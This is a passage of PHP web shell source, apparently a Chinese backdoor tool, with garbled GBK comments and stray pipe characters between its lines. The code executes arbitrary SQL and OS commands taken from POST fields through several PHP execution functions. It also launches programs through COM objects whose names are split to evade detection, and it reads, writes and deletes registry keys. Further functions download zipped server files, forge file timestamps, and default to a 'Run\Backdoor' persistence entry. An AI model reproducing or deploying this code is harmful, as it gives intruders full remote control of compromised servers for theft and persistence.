|||
|
echo "<22><><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD>ӳɹ<D3B3>!";
|
|||
|
mysql_close();
|
|||
|
} else {
|
|||
|
echo mysql_error();
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// ִ<><D6B4>SQL<51><4C><EFBFBD><EFBFBD>
|
|||
|
elseif ($_POST['do'] == 'query') {
|
|||
|
@mysql_connect($servername,$dbusername,$dbpassword) or die("<22><><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
|||
|
@mysql_select_db($dbname) or die("ѡ<><D1A1><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>ʧ<EFBFBD><CAA7>");
|
|||
|
$result = @mysql_query($_POST['sql_query']);
|
|||
|
echo ($result) ? "SQL<51><4C><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD>ִ<EFBFBD><D6B4>!" : "<22><><EFBFBD><EFBFBD>: ".mysql_error();
|
|||
|
mysql_close();
|
|||
|
}
|
|||
|
|
|||
|
// <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD>
|
|||
|
elseif ($_POST['do'] == 'backupmysql') {
|
|||
|
if (empty($_POST['table']) OR empty($_POST['backuptype'])) {
|
|||
|
echo "<22><>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD>ݱ<EFBFBD><DDB1>ͱ<EFBFBD><CDB1>ݷ<EFBFBD>ʽ!";
|
|||
|
} else {
|
|||
|
if ($_POST['backuptype'] == 'server') {
|
|||
|
@mysql_connect($servername,$dbusername,$dbpassword) or die("<22><><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
|||
|
@mysql_select_db($dbname) or die("ѡ<><D1A1><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>ʧ<EFBFBD><CAA7>");
|
|||
|
$table = array_flip($_POST['table']);
|
|||
|
$filehandle = @fopen($path,"w");
|
|||
|
if ($filehandle) {
|
|||
|
$result = mysql_query("SHOW tables");
|
|||
|
echo ($result) ? NULL : "<22><><EFBFBD><EFBFBD>: ".mysql_error();
|
|||
|
while ($currow = mysql_fetch_array($result)) {
|
|||
|
if (isset($table[$currow[0]])) {
|
|||
|
sqldumptable($currow[0], $filehandle);
|
|||
|
fwrite($filehandle,"\n\n\n");
|
|||
|
}
|
|||
|
}
|
|||
|
fclose($filehandle);
|
|||
|
echo "<22><><EFBFBD>ݿ<EFBFBD><DDBF>ѳɹ<D1B3><C9B9><EFBFBD><EFBFBD>ݵ<EFBFBD> <a href=\"".$path."\" target=\"_blank\">".$path."</a>";
|
|||
|
mysql_close();
|
|||
|
} else {
|
|||
|
echo "<22><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>,<2C><>ȷ<EFBFBD><C8B7>Ŀ<EFBFBD><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>п<EFBFBD>дȨ<D0B4><C8A8>!";
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PS:<3A>ļ<EFBFBD>̫<EFBFBD><CCAB><EFBFBD><EFBFBD><EFBFBD>ܷdz<DCB7><C7B3><EFBFBD>
|
|||
|
// Thx : С<><D0A1>
|
|||
|
elseif($downrar) {
|
|||
|
if (!empty($dl)) {
|
|||
|
$dfiles="";
|
|||
|
foreach ($dl AS $filepath=>$value) {
|
|||
|
$dfiles.=$filepath.",";
|
|||
|
}
|
|||
|
$dfiles=substr($dfiles,0,strlen($dfiles)-1);
|
|||
|
$dl=explode(",",$dfiles);
|
|||
|
$zip=new PHPZip($dl);
|
|||
|
$code=$zip->out;
|
|||
|
header("Content-type: application/octet-stream");
|
|||
|
header("Accept-Ranges: bytes");
|
|||
|
header("Accept-Length: ".strlen($code));
|
|||
|
header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."_Files.tar.gz");
|
|||
|
echo $code;
|
|||
|
exit;
|
|||
|
} else {
|
|||
|
echo "<22><>ѡ<EFBFBD><D1A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD><D8B5>ļ<EFBFBD>!";
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// Shell.Application <20><><EFBFBD>г<EFBFBD><D0B3><EFBFBD>
|
|||
|
elseif(($_POST['do'] == 'programrun') AND !empty($_POST['program'])) {
|
|||
|
$shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion');
|
|||
|
$a = $shell->ShellExecute($_POST['program'],$_POST['prog']);
|
|||
|
echo ($a=='0') ? "<22><><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE>ɹ<EFBFBD>ִ<EFBFBD><D6B4>!" : "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>!";
|
|||
|
}
|
|||
|
|
|||
|
// <20>鿴PHP<48><50><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>״<EFBFBD><D7B4>
|
|||
|
elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) {
|
|||
|
echo "<22><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD> ".$_POST['phpvarname']." <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: ".getphpcfg($_POST['phpvarname'])."";
|
|||
|
}
|
|||
|
|
|||
|
// <20><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD>
|
|||
|
elseif(($regread) AND !empty($_POST['readregname'])) {
|
|||
|
$shell= &new COM('WSc'.'rip'.'t.Sh'.'ell');
|
|||
|
var_dump(@$shell->RegRead($_POST['readregname']));
|
|||
|
}
|
|||
|
|
|||
|
// д<><D0B4>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
|
|||
|
elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
|
|||
|
$shell= &new COM('W'.'Scr'.'ipt.S'.'hell');
|
|||
|
$a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);
|
|||
|
echo ($a=='0') ? "д<><D0B4>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD>ɹ<EFBFBD>!" : "д<><D0B4> ".$_POST['regname'].", ".$_POST['regval'].", ".$_POST['regtype']." ʧ<><CAA7>!";
|
|||
|
}
|
|||
|
|
|||
|
// ɾ<><C9BE>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
|
|||
|
elseif(($regdelete) AND !empty($_POST['delregname'])) {
|
|||
|
$shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll');
|
|||
|
$a = @$shell->RegDelete($_POST['delregname']);
|
|||
|
echo ($a=='0') ? "ɾ<><C9BE>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD>ɹ<EFBFBD>!" : "ɾ<><C9BE> ".$_POST['delregname']." ʧ<><CAA7>!";
|
|||
|
}
|
|||
|
|
|||
|
else {
|
|||
|
echo "$notice";
|
|||
|
}
|
|||
|
|
|||
|
echo "</b></p>\n";
|
|||
|
/*===================== ִ<>в<EFBFBD><D0B2><EFBFBD> <20><><EFBFBD><EFBFBD> =====================*/
|
|||
|
|
|||
|
if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
|
|||
|
$tb->tableheader();
|
|||
|
?>
|
|||
|
<tr bgcolor="#cccccc">
|
|||
|
<td align="center" nowrap width="27%"><b><3E>ļ<EFBFBD></b></td>
|
|||
|
<td align="center" nowrap width="16%"><b><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></b></td>
|
|||
|
<td align="center" nowrap width="16%"><b><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD></b></td>
|
|||
|
<td align="center" nowrap width="11%"><b><3E><>С</b></td>
|
|||
|
<td align="center" nowrap width="6%"><b><3E><><EFBFBD><EFBFBD></b></td>
|
|||
|
<td align="center" nowrap width="24%"><b><3E><><EFBFBD><EFBFBD></b></td>
|
|||
|
</tr>
|
|||
|
<?php
|
|||
|
// Ŀ¼<C4BF>б<EFBFBD>
|
|||
|
$dirs=@opendir($dir);
|
|||
|
$dir_i = '0';
|
|||
|
while ($file=@readdir($dirs)) {
|
|||
|
$filepath="$dir/$file";
|
|||
|
$a=@is_dir($filepath);
|
|||
|
if($a=="1"){
|
|||
|
if($file!=".." && $file!=".") {
|
|||
|
$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
|
|||
|
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
|
|||
|
$dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
|
|||
|
echo "<tr class=".getrowbg().">\n";
|
|||
|
echo " <td style=\"padding-left: 5px;\">[<a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"><font color=\"#006699\">$file</font></a>]</td>\n";
|
|||
|
echo " <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n";
|
|||
|
echo " <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n";
|
|||
|
echo " <td align=\"center\" nowrap class=\"smlfont\"><dir></td>\n";
|
|||
|
echo " <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$dirperm</a></td>\n";
|
|||
|
echo " <td align=\"center\" nowrap>| <a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($file)."','<27><>ȷ<EFBFBD><C8B7>Ҫɾ<D2AA><C9BE> $file Ŀ¼<C4BF><C2BC>? \\n\\n<><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<C4BF>ǿ<EFBFBD>,<2C>˴β<CBB4><CEB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD>Ŀ¼<C4BF>µ<EFBFBD><C2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>!','1')\">ɾ<><C9BE></a> | <a href=\"?action=rename&dir=".urlencode($dir)."&fname=".urlencode($file)."\"><3E><><EFBFBD><EFBFBD></a> |</td>\n";
|
|||
|
echo "</tr>\n";
|
|||
|
$dir_i++;
|
|||
|
} else {
|
|||
|
if($file=="..") {
|
|||
|
echo "<tr class=".getrowbg().">\n";
|
|||
|
echo " <td nowrap colspan=\"6\" style=\"padding-left: 5px;\"><a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"><3E><><EFBFBD><EFBFBD><EFBFBD>ϼ<EFBFBD>Ŀ¼</a></td>\n";
|
|||
|
echo "</tr>\n";
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}// while
|
|||
|
@closedir($dirs);
|
|||
|
?>
|
|||
|
<tr bgcolor="#cccccc">
|
|||
|
<td colspan="6" height="5"></td>
|
|||
|
</tr>
|
|||
|
<FORM action="" method="POST">
|
|||
|
<?
|
|||
|
// <20>ļ<EFBFBD><C4BC>б<EFBFBD>
|
|||
|
$dirs=@opendir($dir);
|
|||
|
$file_i = '0';
|
|||
|
while ($file=@readdir($dirs)) {
|
|||
|
$filepath="$dir/$file";
|
|||
|
$a=@is_dir($filepath);
|
|||
|
if($a=="0"){
|
|||
|
$size=@filesize($filepath);
|
|||
|
$size=$size/1024 ;
|
|||
|
$size= @number_format($size, 3);
|
|||
|
if (@filectime($filepath) == @filemtime($filepath)) {
|
|||
|
$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
|
|||
|
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
|
|||
|
} else {
|
|||
|
$ctime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filectime($filepath))."</span>";
|
|||
|
$mtime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filemtime($filepath))."</span>";
|
|||
|
}
|
|||
|
@$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
|
|||
|
echo "<tr class=".getrowbg().">\n";
|
|||
|
echo " <td style=\"padding-left: 5px;\">";
|
|||
|
echo "<INPUT type=checkbox value=1 name=dl[$filepath]>";
|
|||
|
echo "<a href=\"$filepath\" target=\"_blank\">$file</a></td>\n";
|
|||
|
echo " <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n";
|
|||
|
echo " <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n";
|
|||
|
echo " <td align=\"right\" nowrap class=\"smlfont\"><span class=\"redfont\">$size</span> KB</td>\n";
|
|||
|
echo " <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$fileperm</a></td>\n";
|
|||
|
echo " <td align=\"center\" nowrap><a href=\"?downfile=".urlencode($filepath)."\"><3E><><EFBFBD><EFBFBD></a> | <a href=\"?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($file)."\"><3E>༭</a> | <a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($filepath)."','<27><>ȷ<EFBFBD><C8B7>Ҫɾ<D2AA><C9BE> $file <20>ļ<EFBFBD><C4BC><EFBFBD>?','2')\">ɾ<><C9BE></a> | <a href=\"?action=rename&dir=".urlencode($dir)."&fname=".urlencode($filepath)."\"><3E><><EFBFBD><EFBFBD></a> | <a href=\"?action=newtime&dir=".urlencode($dir)."&file=".urlencode($filepath)."\">ʱ<><CAB1></a></td>\n";
|
|||
|
echo "</tr>\n";
|
|||
|
$file_i++;
|
|||
|
}
|
|||
|
}// while
|
|||
|
@closedir($dirs);
|
|||
|
$tb->tdbody('<table width="100%" border="0" cellpadding="2" cellspacing="0" align="center"><tr><td>'.$tb->makeinput('chkall','on','onclick="CheckAll(this.form)"','checkbox','30','').' '.$tb->makeinput('downrar','ѡ<><D1A1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>','','submit').'</td><td align="right">'.$dir_i.' <20><>Ŀ¼ / '.$file_i.' <20><><EFBFBD>ļ<EFBFBD></td></tr></table>','center',getrowbg(),'','','6');
|
|||
|
|
|||
|
echo "</FORM>\n";
|
|||
|
echo "</table>\n";
|
|||
|
}// end dir
|
|||
|
|
|||
|
elseif ($_GET['action'] == "editfile") {
|
|||
|
if(empty($newfile)) {
|
|||
|
$filename="$dir/$editfile";
|
|||
|
$fp=@fopen($filename,"r");
|
|||
|
$contents=@fread($fp, filesize($filename));
|
|||
|
@fclose($fp);
|
|||
|
$contents=htmlspecialchars($contents);
|
|||
|
}else{
|
|||
|
$editfile=$newfile;
|
|||
|
$filename = "$dir/$editfile";
|
|||
|
}
|
|||
|
$action = "?dir=".urlencode($dir)."&editfile=".$editfile;
|
|||
|
$tb->tableheader();
|
|||
|
$tb->formheader($action,'<27>½<EFBFBD>/<2F>༭<EFBFBD>ļ<EFBFBD>');
|
|||
|
$tb->tdbody('<27><>ǰ<EFBFBD>ļ<EFBFBD>: '.$tb->makeinput('editfilename',$filename).' <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD> Php<68><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <input type="checkbox" name="change" value="yes" onclick="javascript:alert(\'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܻ<EFBFBD><DCBB><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>php<68><70><EFBFBD>롣\\n\\n<><6E>php<68><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>php<68><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD><D6A7>gzinflate<74><65><EFBFBD><EFBFBD><EFBFBD>벻Ҫʹ<D2AA>ã<EFBFBD>\')"> ');
|
|||
|
$tb->tdbody($tb->maketextarea('filecontent',$contents));
|
|||
|
$tb->makehidden('do','doeditfile');
|
|||
|
$tb->formfooter('1','30');
|
|||
|
}//end editfile
|
|||
|
|
|||
|
elseif ($_GET['action'] == "rename") {
|
|||
|
$nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname']);
|
|||
|
$action = "?dir=".urlencode($dir)."&fname=".urlencode($fname);
|
|||
|
$tb->tableheader();
|
|||
|
$tb->formheader($action,'<27><EFBFBD><DEB8>ļ<EFBFBD><C4BC><EFBFBD>');
|
|||
|
$tb->makehidden('oldname',$dir."/".$nowfile);
|
|||
|
$tb->makehidden('dir',$dir);
|
|||
|
$tb->tdbody('<27><>ǰ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>: '.basename($nowfile));
|
|||
|
$tb->tdbody('<27><><EFBFBD><EFBFBD>Ϊ: '.$tb->makeinput('newname'));
|
|||
|
$tb->makehidden('do','rename');
|
|||
|
$tb->formfooter('1','30');
|
|||
|
}//end rename
|
|||
|
|
|||
|
elseif ($_GET['action'] == "eval") {
|
|||
|
$action = "?dir=".urlencode($dir)."";
|
|||
|
$tb->tableheader();
|
|||
|
$tb->formheader(''.$action.' "target="_blank' ,'ִ<><D6B4>php<68>ű<EFBFBD>');
|
|||
|
$tb->tdbody($tb->maketextarea('phpcode',$contents));
|
|||
|
$tb->formfooter('1','30');
|
|||
|
}
|
|||
|
elseif ($_GET['action'] == "fileperm") {
|
|||
|
$action = "?dir=".urlencode($dir)."&file=".$file;
|
|||
|
$tb->tableheader();
|
|||
|
$tb->formheader($action,'<27><EFBFBD><DEB8>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>');
|
|||
|
$tb->tdbody('<27><EFBFBD> '.$file.' <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.'/'.$file),10,8),-4)));
|
|||
|
$tb->makehidden('file',$file);
|
|||
|
$tb->makehidden('dir',urlencode($dir));
|
|||
|
$tb->makehidden('do','editfileperm');
|
|||
|
$tb->formfooter('1','30');
|
|||
|
}//end fileperm
|
|||
|
|
|||
|
elseif ($_GET['action'] == "newtime") {
|
|||
|
$action = "?dir=".urlencode($dir);
|
|||
|
$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
|
|||
|
$tb->tableheader();
|
|||
|
$tb->formheader($action,'<27><>¡<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>');
|
|||
|
$tb->tdbody("<22><EFBFBD><DEB8>ļ<EFBFBD>: ".$tb->makeinput('curfile',$file,'readonly')." <20><> Ŀ<><C4BF><EFBFBD>ļ<EFBFBD>: ".$tb->makeinput('tarfile','<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>'),'center','2','30');
|
|||
|
$tb->makehidden('do','domodtime');
|
|||
|
$tb->formfooter('','30');
|
|||
|
$tb->formheader($action,'<27>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>');
|
|||
|
$tb->tdbody('<br><ul><li><3E><>Ч<EFBFBD><D0A7>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD>Χ<EFBFBD>ǴӸ<C7B4><D3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> 1901 <20><> 12 <20><> 13 <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 20:45:54 <20><> 2038<33><38> 1 <20><> 19 <20><> <20><><EFBFBD>ڶ<EFBFBD> 03:14:07<br>(<28><><EFBFBD><EFBFBD><EFBFBD>ڸ<EFBFBD><DAB8><EFBFBD> 32 λ<>з<EFBFBD><D0B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Сֵ<D0A1><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>)</li><li>˵<><CBB5>: <20><>ȡ 01 <20><> 30 ֮<><D6AE>, ʱȡ 0 <20><> 24 ֮<><D6AE>, <20>ֺ<EFBFBD><D6BA><EFBFBD>ȡ 0 <20><> 60 ֮<><D6AE>!</li></ul>','left');
|
|||
|
$tb->tdbody('<27><>ǰ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>: '.$file);
|
|||
|
$tb->makehidden('curfile',$file);
|
|||
|
$tb->tdbody('<27><EFBFBD>Ϊ: '.$tb->makeinput('year','1984','','text','4').' <20><> '.$tb->makeselect(array('name'=>'month','option'=>$cachemonth,'selected'=>'October')).' <20><> '.$tb->makeinput('data','18','','text','2').' <20><> '.$tb->makeinput('hour','20','','text','2').' ʱ '.$tb->makeinput('minute','00','','text','2').' <20><> '.$tb->makeinput('second','00','','text','2').' <20><>','center','2','30');
|
|||
|
$tb->makehidden('do','modmytime');
|
|||
|
$tb->formfooter('1','30');
|
|||
|
}//end newtime
|
|||
|
|
|||
|
elseif ($_GET['action'] == "shell") {
|
|||
|
$action = "??action=shell&dir=".urlencode($dir);
|
|||
|
$tb->tableheader();
|
|||
|
$tb->tdheader('WebShell Mode');
|
|||
|
if (substr(PHP_OS, 0, 3) == 'WIN') {
|
|||
|
$program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe";
|
|||
|
$prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt";
|
|||
|
echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n";
|
|||
|
$tb->tdbody('<27><EFBFBD><DEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>г<EFBFBD><D0B3><EFBFBD> <20><> <20>ļ<EFBFBD>: '.$tb->makeinput('program',$program).' <20><><EFBFBD><EFBFBD>: '.$tb->makeinput('prog',$prog,'','text','40').' '.$tb->makeinput('','Run','','submit'),'center','2','35');
|
|||
|
$tb->makehidden('do','programrun');
|
|||
|
echo "</form>\n";
|
|||
|
}
|
|||
|
echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n";
|
|||
|
if(isset($_POST['cmd'])) $cmd = $_POST['cmd'];
|
|||
|
$tb->tdbody('<27><>ʾ:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD>.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Եõ<D4B5>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. ');
|
|||
|
$tb->tdbody('proc_open<65><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>費<EFBFBD><E8B2BB>Ĭ<EFBFBD>ϵ<EFBFBD>winntϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>,<2C><><EFBFBD><EFBFBD><EFBFBD>ļǵ<C4BC>д<EFBFBD>˳<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD>.');
|
|||
|
$tb->tdbody('proc_open<65><6E><EFBFBD><EFBFBD>Ҫʹ<D2AA>õ<EFBFBD>cmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>:'.$tb->makeinput('cmd',$cmd,'','text','30').'(Ҫ<><D2AA><EFBFBD><EFBFBD>linuxϵͳ<CFB5><CDB3><EFBFBD>Ǵ<EFBFBD><C7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC>İ<DEB8>)');
|
|||
|
$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell','proc_open'=>'proc_open') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','proc_open'=>'proc_open');
|
|||
|
$tb->tdbody('ѡ<><D1A1>ִ<EFBFBD>к<EFBFBD><D0BA><EFBFBD>: '.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: '.$tb->makeinput('command',$_POST['command'],'','text','60').' '.$tb->makeinput('','Run','','submit'));
|
|||
|
?>
|
|||
|
<tr class="secondalt">
|
|||
|
<td align="center"><textarea name="textarea" cols="100" rows="25" readonly><?php
|
|||
|
if (!empty($_POST['command'])) {
|
|||
|
if ($execfunc=="system") {
|
|||
|
system($_POST['command']);
|
|||
|
} elseif ($execfunc=="passthru") {
|
|||
|
passthru($_POST['command']);
|
|||
|
} elseif ($execfunc=="exec") {
|
|||
|
$result = exec($_POST['command']);
|
|||
|
echo $result;
|
|||
|
} elseif ($execfunc=="shell_exec") {
|
|||
|
$result=shell_exec($_POST['command']);
|
|||
|
echo $result;
|
|||
|
} elseif ($execfunc=="popen") {
|
|||
|
$pp = popen($_POST['command'], 'r');
|
|||
|
$read = fread($pp, 2096);
|
|||
|
echo $read;
|
|||
|
pclose($pp);
|
|||
|
} elseif ($execfunc=="wscript") {
|
|||
|
$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM WSHSHELL failed");
|
|||
|
$exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command']."");
|
|||
|
$stdout = $exec->StdOut();
|
|||
|
$stroutput = $stdout->ReadAll();
|
|||
|
echo $stroutput;
|
|||
|
} elseif($execfunc=="proc_open"){
|
|||
|
$descriptorspec = array(
|
|||
|
0 => array("pipe", "r"),
|
|||
|
1 => array("pipe", "w"),
|
|||
|
2 => array("pipe", "w")
|
|||
|
);
|
|||
|
$process = proc_open("".$_POST['cmd']."", $descriptorspec, $pipes);
|
|||
|
if (is_resource($process)) {
|
|||
|
|
|||
|
// д<><D0B4><EFBFBD><EFBFBD>
|
|||
|
fwrite($pipes[0], "".$_POST['command']."\r\n");
|
|||
|
fwrite($pipes[0], "exit\r\n");
|
|||
|
fclose($pipes[0]);
|
|||
|
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
|||
|
while (!feof($pipes[1])) {
|
|||
|
echo fgets($pipes[1], 1024);
|
|||
|
}
|
|||
|
fclose($pipes[1]);
|
|||
|
while (!feof($pipes[2])) {
|
|||
|
echo fgets($pipes[2], 1024);
|
|||
|
}
|
|||
|
fclose($pipes[2]);
|
|||
|
|
|||
|
proc_close($process);
|
|||
|
}
|
|||
|
} else {
|
|||
|
system($_POST['command']);
|
|||
|
}
|
|||
|
}
|
|||
|
?></textarea></td>
|
|||
|
</tr>
|
|||
|
</form>
|
|||
|
</table>
|
|||
|
<?php
|
|||
|
}//end shell
|
|||
|
|
|||
|
elseif ($_GET['action'] == "reg") {
|
|||
|
$action = '?action=reg';
|
|||
|
$regname = isset($_POST['regname']) ? $_POST['regname'] : 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber';
|
|||
|
$registre = isset($_POST['registre']) ? $_POST['registre'] : 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Backdoor';
|
|||
|
$regval = isset($_POST['regval']) ? $_POST['regval'] : 'c:\winnt\backdoor.exe';
|
|||
|
$delregname = $_POST['delregname'];
|
|||
|
$tb->tableheader();
|
|||
|
$tb->formheader($action,'<27><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD>');
|
|||
|
